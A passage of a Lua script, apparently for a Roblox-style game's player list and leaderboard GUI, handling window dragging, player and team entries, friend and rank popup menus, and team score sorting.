1833 ToggleMinimize()
1834 end
1835 end
1836 stopDrag = true
1837 end
1838 local startY = nil
1839 local StartFrame = DefaultBottomClipPos
1840 local function dragpoll(nx,ny)
1841 if not IsMinimized.Value then
1842
1843 if not startY then
1844 startY = AbsoluteToPercent(nx,ny).Y
1845 end
1846 local nowY = AbsoluteToPercent(nx,ny).Y
1847 local newFrameY
1848 newFrameY = math.min(math.max(StartFrame + (nowY - startY),-1),-1+(#MiddleFrameBackgrounds*MiddleBGTemplate.Size.Y.Scale))
1849 DefaultBottomClipPos = newFrameY
1850 UpdateMinimize()
1851 ScrollBarFrame.Size= UDim2.new(ScrollBarFrame.Size.X.Scale,0,(DefaultBottomClipPos+BottomClipFrame.Size.Y.Scale),0)
1852 ScrollBarFrame.Position= UDim2.new(ScrollBarFrame.Position.X.Scale,0,1-ScrollBarFrame.Size.Y.Scale,0)
1853 UpdateScrollBarSize()
1854 UpdateScrollPosition()
1855 UpdateScrollBarVisibility()
1856
1857 end
1858 end
1859 Spawn(function() WaitForClick(ScreenGui,dragpoll,dragExit) end)
1860 end)
1861
1862end
1863
1864 -------------------------------
1865 -- Input Callback functions
1866 -------------------------------
1867IsMaximized.Value=false
1868IsMinimized.Value=false
1869IsMaximized.Changed:connect(UpdateMaximize)
1870IsMinimized.Changed:connect(UpdateMinimize)
1871
1872ExtendButton.MouseButton1Down:connect(function()
1873 if(time() - LastClick < ButtonCooldown) or InPopupWaitForClick then return end
1874 LastClick = time()
1875 if IsTabified.Value then
1876 UnTabify()
1877 else
1878 StartMinimizeDrag()
1879 end
1880end)
1881
1882MaximizeButton.MouseButton1Click:connect(function()
1883 if(time() - LastClick < ButtonCooldown) or InPopupWaitForClick then return end
1884 LastClick = time()
1885 if IsTabified.Value then
1886 UnTabify()
1887 elseif not AreNamesExpanded.Value then
1888 AreNamesExpanded.Value = true
1889 BaseUpdate()
1890 else
1891 ToggleMaximize()
1892 end
1893end)
1894
1895MaximizeButton.MouseButton2Click:connect(function()
1896 if(time() - LastClick < ButtonCooldown) or InPopupWaitForClick then return end
1897 LastClick = time()
1898 if IsTabified.Value then
1899 UnTabify()
1900 elseif IsMaximized.Value then
1901 ToggleMaximize()
1902 elseif AreNamesExpanded.Value then
1903 AreNamesExpanded.Value = false
1904 BaseUpdate()
1905 else
1906 Tabify()
1907 end
1908end)
1909
1910
1911-------------------------------
1912-- MiddleFrames management
1913-------------------------------
1914--[[
1915 adds a background frame to the listframe
1916--]]
1917function AddMiddleBGFrame()
1918 local nBGFrame = MiddleBGTemplate:Clone()
1919 nBGFrame.Position = UDim2.new(.5,0,((#MiddleFrameBackgrounds) * nBGFrame.Size.Y.Scale),0)
1920 if (#MiddleFrameBackgrounds+1)%2 ~= 1 then
1921 if IsMaximized.Value then
1922 nBGFrame.Background.Image = 'http://www.roblox.com/asset/?id='..Images['LargeDark']
1923 else
1924 nBGFrame.Background.Image = 'http://www.roblox.com/asset/?id='..Images['midDark']
1925 end
1926 else
1927 if IsMaximized.Value then
1928 nBGFrame.Background.Image = 'http://www.roblox.com/asset/?id='..Images['LargeLight']
1929 else
1930 nBGFrame.Background.Image = 'http://www.roblox.com/asset/?id='..Images['midLight']
1931 end
1932 end
1933 nBGFrame.Parent = ListFrame
1934 table.insert(MiddleFrameBackgrounds,nBGFrame)
1935
1936 if #MiddleFrameBackgrounds<DefaultListSize and not DidMinimizeDrag then
1937 --print('readjusting bottom clip')
1938 DefaultBottomClipPos=-1+(#MiddleFrameBackgrounds*MiddleBGTemplate.Size.Y.Scale)
1939 end
1940
1941 if not IsMinimized.Value then
1942 UpdateMinimize()
1943 end
1944end
1945--[[
1946 removes a background from from the listframe
1947--]]
1948function RemoveMiddleBGFrame()
1949 MiddleFrameBackgrounds[#MiddleFrameBackgrounds]:Destroy()
1950 table.remove(MiddleFrameBackgrounds,#MiddleFrameBackgrounds)
1951 if not IsMinimized.Value then
1952 UpdateMinimize()
1953 end
1954end
1955-------------------------------
1956-- Player Callback functions
1957-------------------------------
1958local FONT_SIZES =
1959{'Size8','Size9','Size10','Size11','Size12','Size14','Size24','Size36','Size48'}
1960--[[
1961 note:should probably set to something other than mainFrame.AbsoluteSize, should work for now
1962 if textbounds ever works on textscaled, switch to that :(
1963--]]
1964function ChangeHeaderName(nname)
1965 HeaderName.Text = nname
1966 UpdateHeaderNameSize()
1967end
1968
1969--[[
1970 Will fit the player's name to the bounds of the header
1971 called on resize of the window and playedr name change events
1972 HACK: cannot use 'Textscaled' due to unable to find text bounds when scaled
1973--]]
1974function UpdateHeaderNameSize()
1975 local tHeader= HeaderName:Clone()
1976 tHeader.Position=UDim2.new(2,0,2,0)
1977 tHeader.Parent=ScreenGui
1978 local fSize=7 --Size24 in table
1979 tHeader.FontSize=FONT_SIZES[fSize]
1980 Delay(.2,function()
1981 while tHeader.TextBounds.x==0 do wait(1/30) end
1982 while tHeader.TextBounds.x-(NormalBounds.X.Offset) > 1 do
1983 fSize=fSize-1
1984 tHeader.FontSize=FONT_SIZES[fSize]
1985 wait(.2)
1986 end
1987 HeaderName.FontSize=tHeader.FontSize
1988 tHeader:Destroy()
1989 end)
1990end
1991ScreenGui.Changed:connect(UpdateHeaderNameSize)
1992
1993--[[
1994 called only when the leaderstats object is added to a given player entry
1995 removes old stats, adds any existing stats, and sets up listeners for new stats
1996 @Args:
1997 playerEntry A reference to the ENTRY(table) of the player who had leaderstats added
1998--]]
1999function LeaderstatsAdded(playerEntry)
2000 --RemoveAllStats(playerEntry)
2001 local nplayer = playerEntry['Player']
2002 for _,i in pairs(nplayer.leaderstats:GetChildren()) do
2003 StatAdded(i,playerEntry)
2004 end
2005 nplayer.leaderstats.ChildAdded:connect(function(nchild) StatAdded(nchild,playerEntry) end)
2006 nplayer.leaderstats.ChildRemoved:connect(function(nchild) StatRemoved(nchild,playerEntry) end)
2007end
2008--[[
2009 called when leaderstats object is removed from play in player entry
2010 Note: may not be needed, might be able to just rely on leaderstats added
2011 @Args:
2012 oldLeaderstats leaderstats object to be removed
2013 playerEntry A reference to the ENTRY(table) of the player
2014--]]
2015function LeaderstatsRemoved(oldLeaderstats,playerEntry)
2016 while AddingFrameLock do debugprint('waiting to insert '..playerEntry['Player'].Name) wait(1/30) end
2017 AddingFrameLock = true
2018 RemoveAllStats(playerEntry)
2019 AddingFrameLock = false
2020end
2021
2022function ClosePopUpPanel()
2023 if SelectedPlayerEntry then
2024 local tframe = SelectedPlayerEntry['Frame']
2025 Spawn(function() TweenProperty(tframe,'BackgroundTransparency',.5,1,BASE_TWEEN) end)
2026 end
2027 PopUpPanel:TweenPosition(UDim2.new(1,0,0,0), "Out", "Linear", BASE_TWEEN,true)
2028 wait(.1)
2029 InPopupWaitForClick= false
2030 SelectedPlayerEntry = nil
2031end
2032
2033--[[
2034 prepares the needed popup to be tweened on screen, and updates the position of the popup clip
2035 frame to match the selected player frame's position
2036--]]
2037function InitMovingPanel( entry, player)
2038 PopUpClipFrame.Parent= ScreenGui
2039
2040 if PopUpPanel then
2041 PopUpPanel:Destroy()
2042 end
2043 PopUpPanel= PopUpPanelTemplate:Clone()
2044 PopUpPanel.Parent= PopUpClipFrame
2045
2046 local nextIndex = 2
2047 local friendStatus = GetFriendStatus(player)
2048 debugprint (tostring(friendStatus))
2049 local showRankMenu = IsPersonalServer and LocalPlayer.PersonalServerRank >= PrivilegeLevel['Admin'] and LocalPlayer.PersonalServerRank > SelectedPlayer.PersonalServerRank
2050
2051
2052 local ReportPlayerButton = MakePopupButton(PopUpPanel,'Report Player',0)
2053 ReportPlayerButton.MouseButton1Click:connect(function() OpenAbuseDialog() end)
2054 local FriendPlayerButton = MakePopupButton(PopUpPanel,'Friend',1, not showRankMenu and friendStatus~=Enum.FriendStatus.FriendRequestReceived)
2055 FriendPlayerButton.MouseButton1Click:connect(OnFriendButtonSelect)
2056
2057
2058 if friendStatus==Enum.FriendStatus.Friend then
2059 FriendPlayerButton:FindFirstChild('ButtonText').Text='UnFriend Player'
2060 elseif friendStatus==Enum.FriendStatus.Unknown or friendStatus==Enum.FriendStatus.NotFriend then
2061 FriendPlayerButton:FindFirstChild('ButtonText').Text='Send Request'
2062 elseif friendStatus==Enum.FriendStatus.FriendRequestSent then
2063 FriendPlayerButton:FindFirstChild('ButtonText').Text='Revoke Request'
2064 elseif friendStatus==Enum.FriendStatus.FriendRequestReceived then
2065 FriendPlayerButton:FindFirstChild('ButtonText').Text='Accept Friend'
2066 local FriendRefuseButton = MakePopupButton(PopUpPanel,'Decline Friend',2,not showRankMenu)
2067 FriendRefuseButton.MouseButton1Click:connect(OnFriendRefuseButtonSelect)
2068 nextIndex=nextIndex+1
2069 end
2070
2071 if showRankMenu then
2072 local BanPlayerButton = MakePopupButton(PopUpPanel,'Ban',nextIndex)
2073 local VisitorButton = MakePopupButton(PopUpPanel,'Visitor',nextIndex+1)
2074 local MemberButton = MakePopupButton(PopUpPanel,'Member',nextIndex+2)
2075 local AdminButton = MakePopupButton(PopUpPanel,'Admin',nextIndex+3,true)
2076
2077 BanPlayerButton.MouseButton1Click:connect(function()
2078 OnPrivilegeLevelSelect(player,PrivilegeLevel['Banned'],BanPlayerButton,VisitorButton,MemberButton,AdminButton)
2079 end)
2080 VisitorButton.MouseButton1Click:connect(function()
2081 OnPrivilegeLevelSelect(player,PrivilegeLevel['Visitor'],BanPlayerButton,VisitorButton,MemberButton,AdminButton)
2082 end)
2083 MemberButton.MouseButton1Click:connect(function()
2084 OnPrivilegeLevelSelect(player,PrivilegeLevel['Member'],BanPlayerButton,VisitorButton,MemberButton,AdminButton)
2085 end)
2086 AdminButton.MouseButton1Click:connect(function()
2087 OnPrivilegeLevelSelect(player,PrivilegeLevel['Admin'],BanPlayerButton,VisitorButton,MemberButton,AdminButton)
2088 end)
2089
2090 HighlightMyRank(SelectedPlayer,BanPlayerButton,VisitorButton,MemberButton,AdminButton)
2091 end
2092
2093 PopUpPanel:TweenPosition(UDim2.new(0,0,0,0), "Out", "Linear", BASE_TWEEN,true)
2094 Delay(0, function()
2095 local tconnection
2096 tconnection = Mouse.Button1Down:connect(function()
2097 tconnection:disconnect()
2098 ClosePopUpPanel()
2099 end)
2100 end)
2101
2102 local myFrame = entry['Frame']
2103 -- THIS IS GARBAGE.
2104 -- if I parent to frame to auto update position, it gets clipped
2105 -- sometimes garbage is the only option.
2106 Spawn(function()
2107 while InPopupWaitForClick do
2108 PopUpClipFrame.Position=UDim2.new( 0,myFrame.AbsolutePosition.X-PopUpClipFrame.Size.X.Offset,0,myFrame.AbsolutePosition.Y)
2109 wait()
2110 end
2111 end)
2112
2113end
2114
2115--[[
2116 Called when a player entry in the leaderboard is clicked
2117 either will highlight entry and start the drag event, or open a popup menu
2118 @Args:
2119 entry the player entry clicked
2120--]]
2121function OnPlayerEntrySelect(entry,startx,starty)
2122
2123 if not InPopupWaitForClick then
2124
2125 SelectedPlayerEntry = entry
2126 SelectedPlayer = entry['Player']
2127
2128 StartDrag(entry,startx,starty)
2129 end
2130
2131
2132end
2133
2134function ActivatePlayerEntryPanel(entry)
2135 entry['Frame'].BackgroundColor3 = Color3.new(0,1,1)
2136 Spawn(function() TweenProperty(entry['Frame'],'BackgroundTransparency',1,.5,.5) end)
2137 InPopupWaitForClick=true
2138 InitMovingPanel(entry,entry['Player'])
2139end
2140
2141--[[
2142 the basic update for the playerlist mode's state,
2143 assures the order and length of the player frames
2144--]]
2145function PlayerListModeUpdate()
2146 RecreateScoreColumns(PlayerFrames)
2147 table.sort(PlayerFrames,PlayerSortFunction)
2148 for i,val in ipairs(PlayerFrames) do
2149 MiddleFrames[i] = val['Frame']
2150 end
2151 for i = #PlayerFrames + 1,#MiddleFrames,1 do
2152 MiddleFrames[i] = nil
2153 end
2154 UpdateMinimize()
2155end
2156--[[
2157 this one's a doozie, happens when a player is added to the game
2158 inits their player frame and player entry, assigns them to a team if possible,
2159 and hooks up their leaderstats
2160 @Args:
2161 nplayer new player object to insert
2162--]]
2163function GetMembershipTypeIconWidth(membershipType, name)
2164 return ADMIN_ICON_WIDTHS[name:lower()] or 16
2165end
2166
2167function InsertPlayerFrame(nplayer)
2168 if HIDDEN_PLAYERS[nplayer.Name:lower()] == true then return end
2169
2170 while AddingFrameLock do debugprint('waiting to insert '..nplayer.Name) wait(1/30) end
2171 AddingFrameLock = true
2172
2173 local nFrame = MiddleTemplate:Clone()
2174 WaitForChild(WaitForChild(nFrame,'TitleFrame'),'Title').Text = GetAliasOf(nplayer.Name)
2175 coroutine.resume(coroutine.create(function() nFrame.TitleFrame:WaitForChild 'DropShadow' while wait(1) do
2176 nFrame.TitleFrame.Title.Text = GetAliasOf(nplayer.Name)
2177 nFrame.TitleFrame.DropShadow.Text = GetAliasOf(nplayer.Name)
2178 end end))
2179
2180 nFrame.Position = UDim2.new(1,0,((#MiddleFrames) * nFrame.Size.Y.Scale),0)
2181
2182 local nfriendstatus = GetFriendStatus(nplayer)
2183
2184 local oldIconWidth = 0
2185
2186 coroutine.resume(coroutine.create(function() while true do
2187 nFrame:FindFirstChild('BCLabel').Image = getMembershipTypeIcon(nplayer.MembershipType,nplayer.Name)
2188 local membershipIconWidth = GetMembershipTypeIconWidth(nplayer.MembershipType,nplayer.Name)+5
2189 local iconWidthDiff = membershipIconWidth - oldIconWidth
2190 oldIconWidth = membershipIconWidth
2191
2192 nFrame:FindFirstChild('BCLabel').Size = UDim2.new(0, membershipIconWidth-5, 0, 16)
2193
2194 nFrame:FindFirstChild('FriendLabel').Image = getFriendStatusIcon(nfriendstatus)
2195 nFrame.Name = nplayer.Name
2196
2197 --move for bc label
2198 nFrame.FriendLabel.Position=nFrame.FriendLabel.Position+UDim2.new(0,iconWidthDiff,0,0)
2199 nFrame.TitleFrame.Title.Position=nFrame.TitleFrame.Title.Position+UDim2.new(0,iconWidthDiff,0,0)
2200
2201 if(nFrame:FindFirstChild('FriendLabel').Image ~= '') then
2202 nFrame.TitleFrame.Title.Position=nFrame.TitleFrame.Title.Position+UDim2.new(0,iconWidthDiff,0,0)
2203 end
2204
2205 -- custom background colors
2206 if CUSTOM_LABEL_BACKGROUND_COLORS[nplayer.Name:lower()] ~= nil then
2207 nFrame.BackgroundTransparency = 0.5
2208 nFrame.BackgroundColor3 = CUSTOM_LABEL_BACKGROUND_COLORS[nplayer.Name:lower()]
2209 nFrame.BorderSizePixel = 0
2210 else
2211 nFrame.BackgroundTransparency = 1
2212 end
2213
2214 -- custom name colors
2215 if CUSTOM_LABEL_NAME_COLORS[nplayer.Name:lower()] ~= nil then
2216 nFrame.TitleFrame.Title.TextColor3 = CUSTOM_LABEL_NAME_COLORS[nplayer.Name:lower()]
2217 else
2218 nFrame.TitleFrame.Title.TextColor3 = Color3.new(1, 1, 1)
2219 end
2220 wait(1)
2221 end end))
2222
2223 if nplayer.Name == LocalPlayer.Name then
2224 nFrame.TitleFrame.Title.Font = 'ArialBold'
2225 nFrame.PlayerScore.Font = 'ArialBold'
2226 ChangeHeaderName(GetAliasOf(nplayer.Name))
2227 local dropShadow = nFrame.TitleFrame.Title:Clone()
2228 dropShadow.TextColor3 = Color3.new(0,0,0)
2229 dropShadow.TextTransparency=0
2230 dropShadow.ZIndex=3
2231 nFrame.TitleFrame.Title.ZIndex = 4
2232 dropShadow.Position=nFrame.TitleFrame.Title.Position+UDim2.new(0,1,0,1)
2233 dropShadow.Name='DropShadow'
2234 dropShadow.Parent= nFrame.TitleFrame
2235 else
2236 --Delay(2, function () OnFriendshipChanged(nplayer,LocalPlayer:GetFriendStatus(nplayer)) end)
2237 end
2238 nFrame.TitleFrame.Title.Font = 'ArialBold'
2239
2240
2241 nFrame.Parent = ListFrame
2242 nFrame:TweenPosition(UDim2.new(.5,0,((#MiddleFrames) * nFrame.Size.Y.Scale),0), "Out", "Linear", BASE_TWEEN,true)
2243 UpdateMinimize()
2244 local nentry = {}
2245 nentry['Frame'] = nFrame
2246 nentry['Player'] = nplayer
2247 nentry['ID'] = AddId
2248 AddId = AddId + 1
2249 table.insert(PlayerFrames,nentry)
2250 if #TeamFrames~=0 then
2251
2252 if nplayer.Neutral then
2253 nentry['MyTeam'] = nil
2254 if not NeutralTeam then
2255 AddNeutralTeam()
2256 else
2257 AddPlayerToTeam(NeutralTeam,nentry)
2258 end
2259
2260 else
2261 local addedToTeam=false
2262 for i,tval in ipairs(TeamFrames) do
2263 if tval['MyTeam'].TeamColor == nplayer.TeamColor then
2264 AddPlayerToTeam(tval,nentry)
2265 nentry['MyTeam'] = tval
2266 addedToTeam=true
2267 end
2268 end
2269 if not addedToTeam then
2270 nentry['MyTeam']=nil
2271 if not NeutralTeam then
2272 AddNeutralTeam()
2273 else
2274 AddPlayerToTeam(NeutralTeam,nentry)
2275 end
2276 nentry['MyTeam'] = NeutralTeam
2277 end
2278 end
2279
2280 end
2281
2282 if nplayer:FindFirstChild('leaderstats') then
2283 LeaderstatsAdded(nentry)
2284 end
2285
2286 nplayer.ChildAdded:connect(function(nchild)
2287 if nchild.Name == 'leaderstats' then
2288 while AddingFrameLock do debugprint('in adding leaderstats lock') wait(1/30) end
2289 AddingFrameLock = true
2290 LeaderstatsAdded(nentry)
2291 AddingFrameLock = false
2292 end
2293 end)
2294
2295 nplayer.ChildRemoved:connect(function (nchild)
2296 if nplayer==LocalPlayer and nchild.Name == 'leaderstats' then
2297 LeaderstatsRemoved(nchild,nentry)
2298 end
2299 end)
2300 nplayer.Changed:connect(function(prop)PlayerChanged(nentry,prop) end)
2301
2302 local listener = WaitForChild(nFrame,'ClickListener')
2303 listener.Active = true
2304 listener.MouseButton1Down:connect(function(nx,ny) OnPlayerEntrySelect(nentry, nx,ny) end)
2305
2306 AddMiddleBGFrame()
2307 BaseUpdate()
2308 AddingFrameLock = false
2309end
2310
2311--[[
2312 Note:major optimization can be done here
2313 removes this player's frame if it exists, calls base update
2314--]]
2315function RemovePlayerFrame(tplayer)
2316 while AddingFrameLock do debugprint('in removing player frame lock') wait(1/30) end
2317 AddingFrameLock = true
2318
2319 local tteam
2320 for i,key in ipairs(PlayerFrames) do
2321 if tplayer == key['Player'] then
2322 if PopUpClipFrame.Parent == key['Frame'] then
2323 PopUpClipFrame.Parent = nil
2324 end
2325 key['Frame']:Destroy()
2326 tteam=key['MyTeam']
2327 table.remove(PlayerFrames,i)
2328 end
2329 end
2330 if tteam then
2331 for j,tentry in ipairs(tteam['MyPlayers']) do
2332 if tentry['Player'] == tplayer then
2333 RemovePlayerFromTeam(tteam,j)
2334 end
2335 end
2336 end
2337
2338 RemoveMiddleBGFrame()
2339 UpdateMinimize()
2340 BaseUpdate()
2341 AddingFrameLock = false
2342end
2343
2344Players.ChildRemoved:connect(RemovePlayerFrame)
2345
2346----------------------------
2347-- Team Callback Functions
2348----------------------------
2349--[[
2350 turns a list of team entries with sub lists of players into a single ordered
2351 list, in the correct order,and of the correct length
2352 @Args:
2353 tframes the team entries to unroll
2354 outframes the list to unroll these entries into
2355--]]
2356function UnrollTeams(tframes,outframes)
2357 local numEntries = 0
2358 if NeutralTeam and not NeutralTeam['IsHidden'] then
2359 for i,val in ipairs(NeutralTeam['MyPlayers']) do
2360 numEntries = numEntries + 1
2361 outframes[numEntries] = val['Frame']
2362 end
2363 numEntries = numEntries + 1
2364 outframes[numEntries] = NeutralTeam['Frame']
2365 end
2366 for i,val in ipairs(tframes) do
2367 if not val['IsHidden'] then
2368 for j,pval in ipairs(val.MyPlayers) do
2369 numEntries = numEntries + 1
2370 outframes[numEntries] = pval['Frame']
2371 end
2372 numEntries = numEntries + 1
2373 outframes[numEntries] = val['Frame']
2374 end
2375 end
2376 -- clear any additional entries from outframes
2377 for i = numEntries + 1,#outframes,1 do
2378 outframes[i] = nil
2379 end
2380end
2381--[[
2382 uses lua's table.sort to sort the teams
2383--]]
2384function TeamSortFunc(a,b)
2385 if a['TeamScore'] == b['TeamScore'] then
2386 return a['ID'] < b['ID']
2387 end
2388 if not a['TeamScore'] then return false end
2389 if not b['TeamScore'] then return true end
2390 return a['TeamScore'] < b['TeamScore']
2391
2392end
2393--[[
2394 consider adding lock with wait for performance
2395 sorts each of the team's player lists induvidually, adds up the team scores.
2396 @Args:
2397 tentries table of team entries
2398--]]
2399function SortTeams(tentries)
2400
2401 for i,val in ipairs(tentries) do
2402
2403 table.sort(val['MyPlayers'],PlayerSortFunction)
2404 AddTeamScores(val)
2405 end
2406 table.sort(tentries,TeamSortFunc)
2407end
2408--[[
2409 base update for team mode, adds up the scores of all teams, sorts them,
2410 then unrolls them into middleframes
2411--]]
2412function TeamListModeUpdate()
2413 RecreateScoreColumns(PlayerFrames)
2414 SortTeams(TeamFrames)
2415 if NeutralTeam then
2416 AddTeamScores(NeutralTeam)
2417 --RecreateScoreColumns(NeutralTeam['MyPlayers'])
2418 end
2419 UnrollTeams(TeamFrames,MiddleFrames)
2420end
2421--[[
2422 adds up all the score of this team's players to form the team score
2423 @Args:
2424 team team entry to sum the scores of
2425--]]
2426function AddTeamScores(team)
2427
2428 for j = 1, #ScoreNames,1 do
2429 local i = ScoreNames[j]
2430 local tscore = 0
2431 for _,j in ipairs(team['MyPlayers']) do
2432 local tval = j['Player']:FindFirstChild('leaderstats') and j['Player'].leaderstats:FindFirstChild(i['Name'])
2433 if tval and not tval:IsA('StringValue') then
2434 tscore = tscore + GetScoreValue((j['Player'].leaderstats)[i['Name'] ])
2435 end
2436 end
2437 if team['Frame']:FindFirstChild(i['Name']) then
2438 --team['Frame'][i['Name'] ].Size = UDim2.new(1 - (ScrollBarFrame.Size.X.Scale * 2),- ((j-1) * SpacingPerStat),1,0)
2439 team['Frame'][i['Name'] ].Text = tostring(tscore)
2440 end
2441 end
2442 UpdateMinimize()
2443
2444end
2445
2446--[[
2447 finds previous team this player was on, and if it exists calls removeplayerfromteam
2448 @Args
2449 entry Player entry
2450--]]
2451function FindRemovePlayerFromTeam(entry)
2452 if entry['MyTeam'] then
2453 for j,oldEntry in ipairs(entry['MyTeam']['MyPlayers']) do
2454 if oldEntry['Player'] == entry['Player'] then
2455 RemovePlayerFromTeam(entry['MyTeam'],j)
2456 return
2457 end
2458 end
2459 elseif NeutralTeam then
2460 for j,oldEntry in ipairs(NeutralTeam['MyPlayers']) do
2461 if oldEntry['Player'] == entry['Player'] then
2462 RemovePlayerFromTeam(NeutralTeam,j)
2463 return
2464 end
2465 end
2466 end
2467end
2468--[[
2469 removes a single player from a given team (not usually called directly)
2470 @Args:
2471 teamEntry team entry to remove player from
2472 index index of player in 'MyPlayers' list to remove
2473--]]
2474function RemovePlayerFromTeam(teamEntry,index)
2475 table.remove(teamEntry['MyPlayers'],index)
2476 --if teamEntry['AutoHide'] and #teamEntry['MyPlayers'] == 0 then
2477 if teamEntry==NeutralTeam and #teamEntry['MyPlayers']==0 then
2478 RemoveNeutralTeam()
2479 end
2480end
2481--[[
2482 adds player entry entry to teamentry
2483 removes them from any previous team
2484 @Args:
2485 teamEntry entry of team to add player to
2486 entry player entry to add to this team
2487--]]
2488function AddPlayerToTeam(teamEntry,entry)
2489 FindRemovePlayerFromTeam(entry)
2490 table.insert(teamEntry['MyPlayers'],entry)
2491 entry['MyTeam'] = teamEntry
2492 if teamEntry['IsHidden'] then
2493 teamEntry['Frame'].Parent = ListFrame
2494 AddMiddleBGFrame()
2495 end
2496 teamEntry['IsHidden'] = false
2497end
2498
2499
2500function SetPlayerToTeam(entry)
2501 FindRemovePlayerFromTeam(entry)
2502 -- check to see if team exists, if it does add to that team
2503 local setToTeam = false
2504 for i,tframe in ipairs(TeamFrames) do
2505 -- add my entry on the new team
2506 if tframe['MyTeam'].TeamColor == entry['Player'].TeamColor then
2507 AddPlayerToTeam(tframe,entry)
2508 setToTeam = true
2509 end
2510 end
2511 -- if player was set to an invalid team, then set it back to neutral
2512 if not setToTeam and #(game.Teams:GetTeams())>0 then
2513 debugprint(entry['Player'].Name..'could not find team')
2514 entry['MyTeam']=nil
2515 if not NeutralTeam then
2516 AddNeutralTeam()
2517 else AddPlayerToTeam(NeutralTeam,entry) end
2518 end
2519end
2520
2521--[[
2522 Note:another big one, consiter breaking up
2523 called when any children of player changes
2524 handles 'Neutral', teamColor, Name and MembershipType changes
2525 @Args
2526 entry Player entry changed
2527 property name of property changed
2528--]]
2529function PlayerChanged(entry, property)
2530 while PlayerChangedLock do
2531 debugprint('in playerchanged lock')
2532 wait(1/30)
2533 end
2534 PlayerChangedLock=true
2535 if property == 'Neutral' then
2536 -- if player changing to neutral
2537 if entry['Player'].Neutral and #(game.Teams:GetTeams())>0 then
2538 debugprint(entry['Player'].Name..'setting to neutral')
2539 FindRemovePlayerFromTeam(entry)
2540 entry['MyTeam']=nil
2541 if not NeutralTeam then
2542 debugprint(entry['Player'].Name..'creating neutral team')
2543 AddNeutralTeam()
2544 else
2545 debugprint(entry['Player'].Name..'adding to neutral team')
2546 AddPlayerToTeam(NeutralTeam,entry)
2547 end
2548 elseif #(game.Teams:GetTeams())>0 then -- else player switching to a team, or a weird edgecase
2549 debugprint(entry['Player'].Name..'has been set non-neutral')
2550 SetPlayerToTeam(entry)
2551 end
2552 BaseUpdate()
2553 elseif property == 'TeamColor' and not entry['Player'].Neutral and entry['Player'] ~= entry['MyTeam'] then
2554 debugprint(entry['Player'].Name..'setting to new team')
2555 SetPlayerToTeam(entry)
2556 BaseUpdate()
2557 elseif property == 'Name' or property == 'MembershipType' then
2558 entry['Frame']:FindFirstChild('BCLabel').Image = getMembershipTypeIcon(entry['Player'].MembershipType,entry['Player'].Name)
2559 entry['Frame'].Name = entry['Player'].Name
2560 entry['Frame'].TitleFrame.Title.Text = entry['Player'].Name
2561 if(entry['Frame'].BCLabel.Image ~= '') then
2562 entry['Frame'].TitleFrame.Title.Position=UDim2.new(.01, 30, .1, 0)
2563 end
2564 if entry['Player'] == LocalPlayer then
2565 entry['Frame'].TitleFrame.DropShadow.Text= entry['Player'].Name
2566 ChangeHeaderName(entry['Player'].Name)
2567 end
2568 BaseUpdate()
2569 end
2570 PlayerChangedLock=false
2571end
2572
2573function OnFriendshipChanged(player,friendStatus)
2574
2575 Delay(.5,function()
2576 debugprint('friend status changed for:'..player.Name .." ".. tostring(friendStatus) .. " vs " .. tostring(GetFriendStatus(player)) )
2577 for _, entry in ipairs(PlayerFrames) do
2578 if entry['Player']==player then
2579 local nicon = getFriendStatusIcon(friendStatus)
2580 if nicon == '' and entry['Frame'].FriendLabel.Image ~= '' then
2581 entry['Frame'].TitleFrame.Title.Position=entry['Frame'].TitleFrame.Title.Position-UDim2.new(0,17,0,0)
2582 elseif nicon ~= '' and entry['Frame'].FriendLabel.Image == '' then
2583 entry['Frame'].TitleFrame.Title.Position=entry['Frame'].TitleFrame.Title.Position+UDim2.new(0,17,0,0)
2584 debugprint('confirmed status:'..player.Name)
2585 end
2586 entry['Frame'].FriendLabel.Image = nicon
2587 return
2588 end
2589 end
2590 end)
2591end
2592
2593--LocalPlayer.FriendStatusChanged:connect(OnFriendshipChanged)
2594
2595--[[
2596 adds a neutral team if nessisary
2597 Note: a lot of redundant code here, might want to refactor to share a function with insertteamframe
2598--]]
2599function AddNeutralTeam()
2600 if not TEAMS_ENABLED then return end
2601 while NeutralTeamLock do debugprint('in neutral team 2 lock') wait() end
2602 NeutralTeamLock = true
2603
2604 local defaultTeam = Instance.new('Team')
2605 defaultTeam.TeamColor = BrickColor.new('White')
2606 defaultTeam.Name = 'Neutral'
2607 local nentry = {}
2608 nentry['MyTeam'] = defaultTeam
2609 nentry['MyPlayers'] = {}
2610 nentry['Frame'] = MiddleTemplate:Clone()
2611 WaitForChild(WaitForChild(nentry['Frame'],'TitleFrame'),'Title').Text = defaultTeam.Name
2612 nentry['Frame'].TitleFrame.Position=UDim2.new(nentry['Frame'].TitleFrame.Position.X.Scale,nentry['Frame'].TitleFrame.Position.X.Offset,.1,0)
2613 nentry['Frame'].TitleFrame.Size=UDim2.new(nentry['Frame'].TitleFrame.Size.X.Scale,nentry['Frame'].TitleFrame.Size.X.Offset,.8,0)
2614 nentry['Frame'].TitleFrame.Title.Font = 'ArialBold'
2615 nentry['Frame'].Position = UDim2.new(1,0,((#MiddleFrames) * nentry['Frame'].Size.Y.Scale),0)
2616 WaitForChild(nentry['Frame'],'ClickListener').MouseButton1Down:connect(function(nx,ny) StartDrag(nentry,nx,ny) end)
2617 nentry['Frame'].ClickListener.BackgroundColor3 = Color3.new(1,1,1)
2618 nentry['Frame'].ClickListener.BackgroundTransparency = .7
2619 nentry['Frame'].ClickListener.AutoButtonColor=false
2620 nentry['AutoHide'] = true
2621 nentry['IsHidden'] = true
2622 for _,i in pairs(PlayerFrames) do
2623 if i['Player'].Neutral or not i['MyTeam'] then
2624 AddPlayerToTeam(nentry,i)
2625 end
2626 end
2627 if #nentry['MyPlayers'] > 0 then
2628 NeutralTeam = nentry
2629 UpdateMinimize()
2630 BaseUpdate()
2631 end
2632 NeutralTeamLock = false
2633end
2634
2635function RemoveNeutralTeam()
2636 while NeutralTeamLock do debugprint('in neutral team lock') wait() end
2637 NeutralTeamLock = true
2638 NeutralTeam['Frame']:Destroy()
2639 NeutralTeam=nil
2640 RemoveMiddleBGFrame()
2641 NeutralTeamLock = false
2642end
2643
2644--[[
2645
2646--]]
2647function TeamScoreChanged(entry,nscore)
2648 WaitForChild(entry['Frame'],'PlayerScore').Text = tostring(nscore)
2649 entry['TeamScore'] = nscore
2650end
2651--[[
2652 called when child added to a team, used for autohide functionality
2653 Note: still has teamscore, consiter removing
2654--]]
2655function TeamChildAdded(entry,nchild)
2656 if nchild.Name == 'AutoHide' then
2657 entry['AutoHide'] = true
2658 elseif nchild.Name == 'TeamScore' then
2659 WaitForChild(entry['Frame'],'PlayerScore').Text = tostring(nchild.Value)
